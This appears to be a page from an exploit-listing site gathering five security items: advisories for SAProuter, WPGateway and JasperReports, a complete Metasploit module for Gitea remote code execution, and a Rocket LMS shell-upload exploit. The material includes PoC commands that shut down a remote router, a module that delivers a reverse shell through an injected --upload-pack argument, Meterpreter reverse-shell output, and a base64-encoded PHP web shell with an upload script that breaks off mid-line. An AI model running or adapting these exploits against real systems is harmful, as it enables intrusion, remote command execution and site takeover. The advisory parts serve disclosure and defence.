Latest exploits :: CodePwn

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20220914-0 > ======================================================================= title: Improper Access Control product: SAP® SAProuter vulnerable version: see section "Vulnerable / tested versions" fixed version: see SAP security note 3158375 CVE number: CVE-2022-27668 impact: high homepage: https://support.sap.com/en/tools/connectivity-tools/saprouter.html found: 2022-02-25 by: Fabian Hagg (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "SAProuter is a software application that provides a remote connection between our customer's network and SAP. SAProuter can be used to: - Improve network security, e.g.by using a password or by only allowing encrypted connections from known sources - Control and log the connections to your SAP system - Set up an indirect connection when programs involved cannot communicate with each other due to the network configuration - Increase performance and stability by reducing the SAP system workload within a local area network (LAN) when communicating with a wide area network (WAN)" [1] [1] https://support.sap.com/en/tools/connectivity-tools/saprouter.html Business recommendation: ------------------------ SEC Consult recommends to implement the security note 3158375, where the documented issue is fixed according to the vendor. We advise installing the correction as a matter of priority to keep business-critical data secured. Vulnerability overview/description: ----------------------------------- 1) Improper Access Control (CVE-2022-27668) According to SAP note 1853140: "in the default configuration, the SAProuter does not allow a route to itself. You can explicitly permit the 'loopback' from the SAProuter to itself using option -X". It has been identified that under certain circumstances, this is not valid and may lead to unexpected behavior. External attackers having network-wise access to a (weakly configured) SAProuter instance can exploit an improper access control vulnerability by sending packets of type NI_ROUTE in order to establish a tunnel that allows to manage the SAProuter externally even when it was started without option -X. This enables an attacker to send packets of type ROUTER_ADM in order to gain unauthorized access to administrative functions such as stopping the remote SAProuter instance, displaying connection information, switching trace level, or terminating a specific connection. Proof of concept: ----------------- 1) Improper Access Control (CVE-2022-27668) For successful exploitation of this vulnerability, the following prerequisites must be met: - Route permission table saprouttab must contain an entry that explicitly permits external hosts to connect to port 3299 of arbitrary hosts. Some examples of such entries are shown in the following listing: P <source-host incl. attacker-controlled machine> * 3299 P <source-host incl. attacker-controlled machine> * 3200.3300 - SAProuter is running (option -X does not need to be set) and the attacker has network-wise access to its listening port. The vulnerability can be verified by means of the publicly available Python script router_portfw.py [2] of the open source pysap framework developed by M. Gallo. The script, which is based on a scapy re-implementation of the proprietary SAP Router protocol, allows for port forwarding through a SAProuter service. For demonstration purposes, the following simplified lab setup is used: ------------------------------------------------------------------------- SAProuter (IPv4:192.168.56.103) <-----> Attacker (IPv4:192.168.56.104) ------------------------------------------------------------------------- SAProuter started with option -r: | Pysap framework ./saprouter -r | | Content of saprouttab in workdir: | P 192.168.56.104 * 3299 | ------------------------------------------------------------------------- The following listing shows that it is not possible to establish a "loopback" tunnel through the remote SAProuter service by specifying a target destination host 127.0.0.1 (option -t) and target destination port 3299 (option -r). As expected, this route is filtered and denied by default even when explicitly allowed through the route permission table. -------------------------------------------------------------------------- attacker@192.168.56.104$ python router_portfw.py -d 192.168.56.103 -p 3299 -t 127.0.0.1 -r 3299 -a 127.0.0.1 -l 3299 -v [*] Setting a proxy between 127.0.0.1:3299 and remote SAP Router 192.168. 56.103:3299 (talk mode raw) SAPNIProxy: Binded to address 127.0.0.1:3299, proxying to 192.168.56.103: 3299 Routing to 127.0.0.1:3299 To send 61 bytes data + 4 bytes NI header Received 4 bytes NI header, to receive 211 bytes data Received 211 bytes data Route request to 127.0.0.1:3299 not accepted by 192.168.56.103:3299 -------------------------------------------------------------------------- It was discovered that it is possible to circumvent this check using the non-standard IPv4 broadcast address 0.0.0.0 (see RFC5735, RFC1122). When specifying destination host 0.0.0.0 and destination port 3299, this leads to an effective access control bypass as can be seen in the following listing. -------------------------------------------------------------------------- attacker@192.168.56.104$ python router_portfw.py -d 192.168.56.103 -p 3299 -t 0.0.0.0 -r 3299 -a 127.0.0.1 -l 3299 -v [*] Setting a proxy between 127.0.0.1:3299 and remote SAP Router 192.168. 56.103:3299 (talk mode raw) SAPNIProxy: Binded to address 127.0.0.1:3299, proxying to 192.168.56.103: 3299 Routing to 0.0.0.0:3299 To send 59 bytes data + 4 bytes NI header Received 4 bytes NI header, to receive 8 bytes data Received 8 bytes data Route request to 0.0.0.0:3299 accepted by 192.168.56.103:3299 attacker@192.168.56.104$ ss -antlp | grep "3299" LISTEN 0 5 127.0.0.1:3299 0.0.0.0:* users:(("python",pid=1985,fd=3)) -------------------------------------------------------------------------- Once the tunnel is established, an attacker can leverage administrative functions using its local port 3299 which is forwarded to the loopback interface of the remote SAProuter instance. For example, the Python script router_admin.py [3] of the pysap framework can be used to shutdown (option -s) the running SAProuter instance on the remote host. -------------------------------------------------------------------------- attacker@192.168.56.104$ python router_admin.py -s -d 127.0.0.1 -p 3299 [*] Requesting stop of the remote SAP Router [*] Connected to the SAP Router 127.0.0.1:3299 [*] Using SAP Router version 40 [*] Sending Router Admin packet netwadm@192.168.56.103$ ./saprouter -r trcfile dev_rout no logging active WARNING: wildcard character used in route target shutdown message received, good bye ... -------------------------------------------------------------------------- External links: [2] https://github.com/SecureAuthCorp/pysap/blob/master/examples/router_portfw.py [3] https://github.com/SecureAuthCorp/pysap/blob/master/examples/router_admin.py Vulnerable / tested versions: ----------------------------- The following versions of the binary were found to be vulnerable during our tests: - SAProuter as part of kernel 753 patch no. 400 (Linux, 64 BIT UNICODE) - SAProuter as part of kernel 777 patch no. 200 (Linux, 64 BIT UNICODE) No additional testing on other releases has been carried out. According to the vendor the following releases and versions are affected by the discovered vulnerability: - KRNL64NUC 7.49 - KRNL64UC 7.49 - SAP_ROUTER 7.53 - SAP_ROUTER 7.22 - KERNEL 7.49 - KERNEL 7.77 - KERNEL 7.81 - KERNEL 7.85 - KERNEL 7.86 - KERNEL 7.87 - KERNEL 7.88 Vendor contact timeline: ------------------------ 2022-02-25: Contacting vendor through vulnerability submission web form. 2022-03-05: Vendor confirms receipt and assigns internal ID #2270010706. 2022-04-04: Requesting status update. 2022-04-05: Vendor confirms vulnerability and states that a fix is already complete. The corresponding security note is expected to be released with the upcoming April 2022 patch day. 2022-04-12: Patch day April 2022 passed without release. 2022-05-10: Patch day May 2022 passed without release. 2022-06-14: Vendor releases patch with SAP Security Note 3158375. 2022-06-14: Requesting confirmation that the finding was fixed by the published security note as no prior notification was provided. 2022-06-28: Vendor confirms that the patch included in Security Note 3158375 fixes the issue. The vulnerability got assigned CVE-2022-27668. 2022-09-14: Release of this security advisory. Solution: --------- The vendor provides a patched version which should be installed immediately. The software can be obtained via the SAP service marketplace. Further information can be found in the corresponding Security Note 3158375 [4]. [4] https://launchpad.support.sap.com/#/notes/3158375 Workaround: ----------- Remove any wildcard (*) values in the target host or IP address directive in route permission table saprouttab entries 'P' and 'S'. In general, it is recommended to not make use of any wildcard values in the route permission table saprouttab. Additional information on the secure configuration of SAProuter can be found in SAP Security Note/KBA 1895350 [5]. [5] https://launchpad.support.sap.com/#/notes/1895350 Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF F. Hagg / @2022 </code></pre>

<pre><code># Exploit Title: Gitea Git Fetch Remote Code Execution # Date: 09/14/2022 # Exploit Author: samguy # Vendor Homepage: https://gitea.io # Software Link: https://dl.gitea.io/gitea/1.16.6 # Version: <= 1.16.6 # Tested on: Linux - Debian # Ref : https://tttang.com/archive/1607/ # CVE : CVE-2022-30781 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Gitea Git Fetch Remote Code Execution', 'Description' => %q{ This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affect Gitea before 1.16.7 version. }, 'Author' => [ 'wuhan005 & li4n0', # Original PoC 'krastanoel' # MSF Module ], 'References' => [ ['CVE', '2022-30781'], ['URL', 'https://tttang.com/archive/1607/'] ], 'DisclosureDate' => '2022-05-16', 'License' => MSF_LICENSE, 'Platform' => %w[unix win], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } ) ) register_options([ Opt::RPORT(3000), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with']), OptString.new('PASSWORD', [true, 'Password to use']), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12]) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/user/login'), 'keep_cookies' => true ) return CheckCode::Unknown('No response from the web service') if res.nil? return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 # Powered by Gitea Version: 1.16.6 unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/)) return CheckCode::Unknown('Target does not appear to be running Gitea.') end if match[:version].match(/[a-zA-Z]/) return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.") end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/user/login'), 'vars_post' => { 'user_name' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], '_csrf' => get_csrf(res.get_cookies) }, 'keep_cookies' => true ) return CheckCode::Safe('Authentication failed') if res&.code != 302 if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6') return CheckCode::Appears("Version detected: #{match[:version]}") end CheckCode::Safe("Version detected: #{match[:version]}") rescue ::Rex::ConnectionError return CheckCode::Unknown('Could not connect to the web service') end def primer ['/api/v1/version', '/api/v1/settings/api', "/api/v1/repos/#{@migrate_repo_path}", "/api/v1/repos/#{@migrate_repo_path}/pulls", "/api/v1/repos/#{@migrate_repo_path}/topics" ].each { |uri| hardcoded_uripath(uri) } # adding resources vprint_status("Creating repository \"#{@repo_name}\"") gitea_create_repo vprint_good('Repository created') vprint_status("Migrating repository") gitea_migrate_repo end def exploit @repo_name = rand_text_alphanumeric(6..15) @migrate_repo_name = rand_text_alphanumeric(6..15) @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}" datastore['URIPATH'] = "/#{@migrate_repo_path}" Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) } cleanup # removing all resources end def get_csrf(cookies) csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf csrf end def gitea_remove_repo(name) vprint_status("Cleanup: removing repository \"#{name}\"") uri = "/#{datastore['username']}/#{name}/settings" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, uri), 'keep_cookies' => true ) res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'action' => 'delete', 'repo_name' => name, '_csrf' => get_csrf(res.get_cookies) }, 'keep_cookies' => true ) vprint_warning('Unable to remove repository') if res&.code != 302 end def gitea_create_repo uri = normalize_uri(target_uri.path, '/repo/create') res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true) @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'uid' => @uid, 'auto_init' => 'on', 'readme' => 'Default', 'repo_name' => @repo_name, 'trust_model' => 'default', 'default_branch' => 'master', '_csrf' => get_csrf(res.get_cookies) }, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302 rescue ::Rex::ConnectionError return CheckCode::Unknown('Could not connect to the web service') end def gitea_migrate_repo res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/repo/migrate'), 'keep_cookies' => true ) uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type'] res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, uri), 'keep_cookies' => true ) res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'uid' => @uid, 'service' => svc_type, 'pull_requests' => 'on', 'repo_name' => @migrate_repo_name, '_csrf' => get_csrf(res.get_cookies), 'auth_token' => rand_text_alphanumeric(6..15), 'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}", }, 'keep_cookies' => true ) if res&.code != 302 # possibly triggered by the [migrations] settings err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text gitea_remove_repo(@repo_name) cleanup fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}") end rescue ::Rex::ConnectionError return CheckCode::Unknown('Could not connect to the web service') end def on_request_uri(cli, req) case req.uri when '/api/v1/version' send_response(cli, '{"version": "1.16.6"}') when '/api/v1/settings/api' data = { 'max_response_items':50,'default_paging_num':30, 'default_git_trees_per_page':1000,'default_max_blob_size':10485760 } send_response(cli, data.to_json) when "/api/v1/repos/#{@migrate_repo_path}" data = { "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}", "owner": { "login": datastore['username'] } } send_response(cli, data.to_json) when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1" send_response(cli, '{"topics":[]}') when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all" data = [ { "base": { "ref": "master", }, "head": { "ref": "--upload-pack=#{payload.encoded}", "repo": { "clone_url": "./", "owner": { "login": "master" }, } }, "updated_at": "2001-01-01T05:00:00+01:00", "user": {} } ] send_response(cli, data.to_json) end end end </code></pre>

<pre><code>Description: Unauthenticated Privilege Escalation Affected Plugin: WPGateway Plugin Slug: wpgateway Plugin Developer: Jack Hopman/WPGateway Affected Versions: <= 3.5 CVE ID: CVE-2022-3180 CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fully Patched Version: N/A The WPGateway plugin is a premium plugin tied to the WPGateway cloud service, which offers its users a way to setup and manage WordPress sites from a single dashboard. Part of the plugin functionality exposes a vulnerability that allows unauthenticated attackers to insert a malicious administrator. We obtained a current copy of the plugin on September 9, 2022, and determined that it is vulnerable, at which time we contacted the plugin vendor with our initial disclosure. We have reserved vulnerability identifier CVE-2022-3180 for this issue. As this is an actively exploited zero-day vulnerability, and attackers are already aware of the mechanism required to exploit it, we are releasing this public service announcement (PSA) to all of our users. We are intentionally withholding certain details to prevent further exploitation. As a reminder, an attacker with administrator privileges has effectively achieved a complete site takeover. Indicators of compromise If you are working to determine whether a site has been compromised using this vulnerability, the most common indicator of compromise is a malicious administrator with the username of rangex. If you see this user added to your dashboard, it means that your site has been compromised. Additionally, you can check your site’s access logs for requests to //wp-content/plugins/wpgateway/wpgateway-webservice-new.php?wp_new_credentials=1 If these requests are present in your logs, they indicate that your site has been attacked using an exploit targeting this vulnerability, but do not necessarily indicate that it has been successfully compromised. Conclusion In today’s post, we detailed a zero-day vulnerability being actively exploited in the WPGateway plugin. Wordfence Premium, Wordfence Care, and Wordfence Response customers received a firewall rule on September 8, 2022, protecting against this vulnerability, while sites still using the free version of Wordfence will receive the same protection 30 days later, on October 8, 2022. If you have the WPGateway plugin installed, we urge you to remove it immediately until a patch is made available and to check for malicious administrator users in your WordPress dashboard. If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected, as this is a serious vulnerability that is actively being exploited in the wild. Please help make the WordPress community aware of this issue. If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance. Our investigation is ongoing, and we will provide more information in an additional blog post when it becomes available. Special thanks to Threat Intelligence Lead Chloe Chamberland for spotting this exploit in the wild. </code></pre>

<pre><code>Advisory ID: SYSS-2022-041 Product: JasperReports Server Manufacturer: TIBCO Software Inc. Tested Version(s): 8.0.2 Community Edition Vulnerability Type: CWE-502: Deserialization of Untrusted Data Risk Level: High Solution Status: Fixed Manufacturer Notification: 2022-06-10 Solution Date: 2022-08-10 Public Disclosure: 2022-09-09 CVE Reference: None assigned Author of Advisory: Moritz Bechler, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The manufacturer describes the product as follows (see [1]): "TIBCO JasperReports(R) Server is a stand-alone and embeddable reporting server. It provides reporting and analytics that can be embedded into a web or mobile application as well as operate as a central information hub for the enterprise by delivering mission critical information on a real-time or scheduled basis to the browser, mobile device, or email inbox in a variety of file formats." Due to JMX/RMI services performing unsafe deserialization, it is possible to execute arbitrary code and system commands on the server system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The JasperReports Server web application spawns a non-standard JMX diagnostic server exposed under the RMI name "jasperserver". The relevant configuration is found in WEB-INF/js.diagnostic.properties: ------ #Diagnostic default remote access configuration diagnostic.usePlatformJMXServer = false diagnostic.port = 10990 diagnostic.name = jasperserver diagnostic.rmiHost = localhost ------ It is also found in WEB-INF/applicationContext-diagnostic.xml: ------  <bean id="jasperJMXServerConnector" class="org.springframework.jmx.support.ConnectorServerFactoryBean" lazy-init="false"> <property name="server" ref="jasperJMXServer"/> <property name="objectName" value="connector:name=rmi"/> <property name="serviceUrl" value="service:jmx:rmi:///jndi/rmi://${diagnostic.rmiHost}:${diagnostic.port}/${diagnostic.name}"/> <property name="environmentMap"> <map> <entry key="jmx.remote.authenticator" value-ref="jMXAuthenticator"/> </map> </property> </bean> ------ While the hostname for the RMI bind is specified as localhost, this does, in fact, not set the bind address and both the registry and the (random) object port are reachable over the network. Only the returned reference address is broken, as it points to the local address, but this can be adjusted for exploitation. And while various security patches have implemented type restrictions for the fundamental RMI services (DGC, Registry) and the JMX authentication, the latter is not applied in this case. It is only active if the following property is set: "jmx.remote.rmi.server.credential.types". For a regular JMX server, this is configured by the standard library's JMX ConnectorBootstrap; however, this is not the case for the custom JMX server created through Spring's ConnectorServerFactoryBean. Therefore, the RMIServer.newClient endpoint performs unrestricted, unsafe deserialization and can be exploited using one of the known, published gadget chains (e.g. from ysoserial[5]) in one of the libraries bundled by the server. These allow for execution of arbitrary bytecode and/or system commands on the server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): JasperReports Server (CE) was installed according to the documentation[4] on a Debian 11 system running Tomcat 9.0.43-2~deb11u3 and OpenJDK 11.0.15. After the successful initial setup, a new RMI service can be observed on TCP port 10990: ------ PORT STATE SERVICE VERSION 10990/tcp open java-rmi Java RMI | rmi-dumpregistry: | jasperserver | javax.management.remote.rmi.RMIServerImpl_Stub | @127.0.1.1:39297 | extends | java.rmi.server.RemoteStub | extends |_ java.rmi.server.RemoteObject ------ Using a custom Metasploit module, calls on the exposed RMI object can be made (calling JMX's RMIServer.newClient(Object creds)). The module is capable of identifying known exploitable types on the remote classpath and sending malicious crafted objects. These, when deserialized by the remote RMI server, spawn a Java Meterpreter instance and open a reverse shell. ------ msf6 exploit(multi/java/rmi_server) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] payload/java/classfile/meterpreter/reverse_tcp [*] Trying bytecode execution [*] Found RMI Registry with 1 registered objects [+] Registry lookup() name argument is filtered [*] Bind access check before deserialization [*] DGC found [+] DGC filters parameter types [*] Found 1 referenced objects, following references [*] Custom object found jasperserver [*] Trying with original host 192.168.56.106 port 39297 [*] Method/interface hash -1089742558549201240 method id -1 [*] Initial test returned error java.lang.SecurityException [-] Incompatible commons-fileupload [*] Identified 1 attack vector(s), gadgets ["hashdos", "beanutils", "hibernate", "hibernate-validator", "spring-typeprov", "spring-jta", "rhino"] [*] Skipping gadget hashdos based on config [*] Sending stage (53921 bytes) to 192.168.56.106 [...] [*] Waiting for exploit to complete... [*] Have session... [*] Server stopped. [*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.106:46828) at 2022-06-09 13:39:40 +0200 ------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Disable the JMX server as per documentation, as per section 9.12 of [6]. Update to version 8.1.0 which disables the JMX service by default. Do not enable the Diagnostic JMX Server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2022-06-08: Vulnerability discovered 2022-06-10: Vulnerability reported to manufacturer 2022-08-10: Patch released by manufacturer 2022-09-09: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for JasperReports Server https://community.jaspersoft.com/project/jasperreports-server [2] SySS Security Advisory SYSS-2022-041 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-041.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] TIBCO JasperReports Server Community Edition Release Notes https://community.jaspersoft.com/documentation/tibco-jasperreports-server-community-edition-release-notes/v750/installation-and-basic [5] ysoserial https://github.com/frohoff/ysoserial/ [6] JasperReports Server Administrator Guide https://docs.tibco.com/pub/js-jrs/8.0.2/doc/pdf/TIB_js-jrs_8.0.0_Admin-Guide.pdf?id=5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Bechler of SySS GmbH. E-Mail: moritz.bechler@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc Key ID: 0x768EFE2BB3E53DDA Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en </code></pre>

<pre><code># Exploit Title: Rocket LMS - Learning Management System Shell Upload # Exploit Author: th3d1gger # Vendor Homepage: https://codecanyon.net # Software Link: https://codecanyon.net/item/rocket-lms-learning-management-academy-script/33120735 # Version: Version 1.6 # Tested on Ubuntu 18.04 base64 encode your payload after data image write your extension upload ----- There is .htaccess restriction on rocket lms public folder upload your own htaccess to avatar folder first. Enjoy! -------Request----------- POST /panel/setting HTTP/1.1 Host: localhost Content-Length: 214 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99" Origin: http://localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: empty Referer: http://localhost/panel/setting/step/2 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlBhNzBxQi96TVJwTm5KdEI0Ry9xUUE9PSIsInZhbHVlIjoiUE80Y2h6WlU2N3FjZDBaMldkZU1pcDg3ZmVLWitZSUxsQVBIc0lHdUV0ZkdtL2JYYzZ0Q2RsL1JSQXhVZWFJZGsrcGlOTGJ5Qk8zWWlTVDVWL3ZlNEY3NFpEc1RaT0NSVS9EL2lFWXQyTEtLQXlFR0RPVjREclI4QkMwdWRQb3hzcEtlZ1ZZanQ0ZDAyYWZOMjNjcWo1anFtSFdRdFYwY2laTlJLbnl2TjBVQWdKTlB6Uk4reWlJUTRNSmkrYkhXU1BJMmxpNU05TngxUklxNEM5azY0bFp4NVg2eHdwT1VSci9Od2RCQklsMD0iLCJtYWMiOiI2NzFjZDkxMDRlYWEyODBmMGUxNDg3YmFmZmQ0M2YwMzhlMmViNTYxYjk3YTZmNTk0YzA1MGFkOGY2YmFkN2I1In0%3D; XSRF-TOKEN=eyJpdiI6IjRqa1JIMXQrd0xuZW1za0FXR0lVbGc9PSIsInZhbHVlIjoidXlybG4rTlRraVpXV1dRSE5EWXcrYnVyZnpYUHRmSmpvQ0tuUUI3WEFDZU5HdWpsbXJBRi9WaStzWXVDNEJLa2UzT3BTSkdobzdPc0dUb0V1TzUyMGdPVHRHY3NNR0x2YlpVT1YxMy9DYXVIMGxERktaZXZtT1pPQUF4Y0N6U0IiLCJtYWMiOiI2MTAyMGJlZmFhNjk2ZWRiOWViYjVlZWNhOWUyYzFmYTJjNjdmYTdmZWNmY2ZhMTFjMTg3NmQwMDAxNjg1OTVjIn0%3D; rocketlms_session=eyJpdiI6Ik1yOGpZZmFGRnJMY1BBYkNBVUhYT1E9PSIsInZhbHVlIjoiOWkrN1JmUHhqc21qTlZqdytPdUJaSnpPQW0ybXNlVGpWLzViVzFpbHpheUF2QUJYRTJNUmpCaC9xZk5CRWg1eGpiVFZ4ejFOOTdLZ3NmNTkrQlhheTBBUGNVVDdPa3IvVWVSeTZ3RndxV2FRdWpWRnVvSHhzY2xKUjMvelB4dTAiLCJtYWMiOiIzNTdlNTNmNGNlMDFlMTU5NWVlOTQ1NjM0YjFjZGU4NWJmMTg5NzIzNmRhMTQxMzc4MDIyZGU2ZDM2N2JiODg2In0%3D Connection: close _token=vILAoLnB2BFEaF35K4kMmwLokzOPLMnryeYXQVzS&step=2&next_step=0&profile_image=data%3Aimage%2FPHP%3Bbase64%2CPD9waHAgJGNtZCA9IHN5c3RlbSgkX0dFVFsnY21kJ10pOwoKZWNobyAkY21kOwo/Pg== &cover_img=%2Fstore%2F995%2F7.jpg Exploit: import time import requests import base64 import re import traceback class Rocket: def __init__(self,ssl,host,port,email,password,file): self._url_to_upload = "/panel/setting" self._url_to_login = "/login" self.host = host self.port = port self.ssl = ssl self.email = email self.password = password self.file = file def get_csrf_token(self,client,URL): fromt = client.get(URL) if 'XSRF-TOKEN' in client.cookies: csrftoken = re.findall(r'<input type="hidden" name="_token" value="(.*)"',fromt.text)[0] return csrftoken else: print("Error while fetching token") return def login(self): client = requests.session() if self.ssl == True: ssl= "https://" else: ssl= "http://" URL = str(ssl+self.host+":"+self.port+self._url_to_login) URL2 = str(ssl+self.host+":"+self.port+self._url_to_upload) csrftoken = self.get_csrf_token(client,URL) fromt = client.get(URL) # sets cookie login_data = dict(username=self.email, password=self.password, _token=csrftoken, next='/panel') r = client.post(URL, data=login_data, cookies=client.cookies) self.upload_shell(client,URL2) self.upload_htaccess(client,URL2) def upload_shell(self,client,URL): csrftoken = self.get_csrf_token(client,URL) with open(self.file,"r") as payload: to_base64 = payload.read() to_base64 = str(to_base64).encode("utf-8") base64_encoded_data= base64.b64encode(to_base64) base64_encoded_data = str(base64_encoded_data)[:-1] base64_encoded_data = str(base64_encoded_data)[2:] string = "data:image/php;base64,"+str(base64_encoded_data) data = dict(_token=csrftoken,step=2,next_step=0,profile_image=string,cover_img="") r = client.post(URL, data=data, cookies=client.cookies) print(r.status_code) if r.status_code == 200: print("sent and uploaded shell :"+URL+"\n") else: print("couldn't upload shell") def upload_htaccess(self,client,URL): csrftoken = self.get_csrf_token(client,URL) string = 